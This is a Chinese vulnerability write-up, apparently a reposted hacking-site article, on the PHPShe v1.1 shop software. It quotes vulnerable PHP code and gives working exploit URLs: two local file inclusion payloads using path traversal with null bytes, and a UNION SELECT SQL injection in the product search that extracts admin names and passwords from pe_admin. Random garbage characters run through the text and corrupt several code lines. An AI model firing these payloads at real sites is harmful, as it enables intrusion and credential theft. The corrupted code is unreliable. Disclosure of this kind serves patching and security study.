phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
) b( x) U$ A; g  N+ l6 j5 S/* ========================
9 @% X( M- y( y8 Z. y/* By: : Kn1f3
/* E-Mail : 681796@qq.com
. `& Q, e# `0 g2 ?/*******************************************************/
; F  t/ a- Z; z% q+ Z* f/ T& p0×00 整体大概参数传输

0 ^* x# r; M6 f6 C1 T
# o, J9 ~4 f9 d0 U4 e5 \% @* _6 X
//common.php
if (get_magic_quotes_gpc()) {
; r3 o: J9 X! G1 c; v!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
( D9 z/ v8 z# c7 |: z!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
' c5 Y4 D6 ^: ~  K% p# }" B}
. [( ~! Z  l0 X( \% \: \$ `  Lelse {
1 K; M/ Z3 x1 M. c+ ]!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
: |. f3 ?+ q7 j& r}
session_start();
% O5 q$ N4 D$ G9 q/ `1 }!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
  @) L6 v' e$ l( f  L2 i! U8 Y+ q!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
% H/ x0 `; |. c6 `0 u
0×01 包含漏洞


! E7 H6 G+ O5 I5 \2 P//首页文件
0 Z0 ~! o1 z+ z: F& u<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
, q, T# J# v' z4 G$ q; R9 t) y?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
2 x8 u* a. @& U/ y& C1 C$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$ P! ~- T4 c6 D4 d! H/ e$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
0 Y" t# m; c7 }; h$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

4 n9 H4 g( g, Q+ h/ E: E) T( r. Y
1 q: N2 f9 p/ T+ c: {: y7 y7 L 0×02 搜索注入

  U' K. C5 x! I- X2 H<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
) |2 c( v* X6 t: P5 I) Q  }$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
0 f# d% u6 S/ w//热卖排行
/ o' M8 Q$ E% x) w% J! F$ p$product_hotlist = product_hotlist();
. g) _6 [  P; H//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
+ N  T' {1 C% Finclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
9 m9 f; q7 r+ @0 V* {: \{
//处理条件语句
6 `2 |7 f& D& n$sqlwhere = $this->_dowhere($where);
6 N$ L) [7 p+ u9 R4 @( g8 a  w. s& ^return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
. v) K" W) y% S# [( o( b}
0 _5 g1 U2 N% U6 E! {2 E//exp
# |4 Z6 l1 B/ Bproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
* z' _% n2 n; c9 Y) n$ H# K

</code>
" W" A# D3 n7 Y1 f# x; _
0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

# \% U8 P& I8 R( _2 Z( B$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

& Z: g  T$ B5 X1 Dif ($k == 'bank') {

) o* |+ i6 E9 V' Q  S! I# U% R$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

( J& C. `( Z8 w: m0 u}

4 T$ o0 K, q: ^2 @* m8 ]$ ~! P! I0 ]: o}

' x" P; c# r$ G$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

$ l1 D0 o6 F1 P( Bif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

; Z6 p. O8 q7 Tforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
/ W9 }- s  @4 g  ^2 U' f

}

echo '正在为您连接支付网站，请稍后...';

$ k# m: C) W; C1 A8 {+ ?2 _include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

4 |  x% C! u1 P; T( Epe_error('支付错误...');

}

' Z" |: n: l& I- l0 a+ q; P}

( h$ ^" H% @4 X, D1 a1 ~: d. t3 W6 n$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg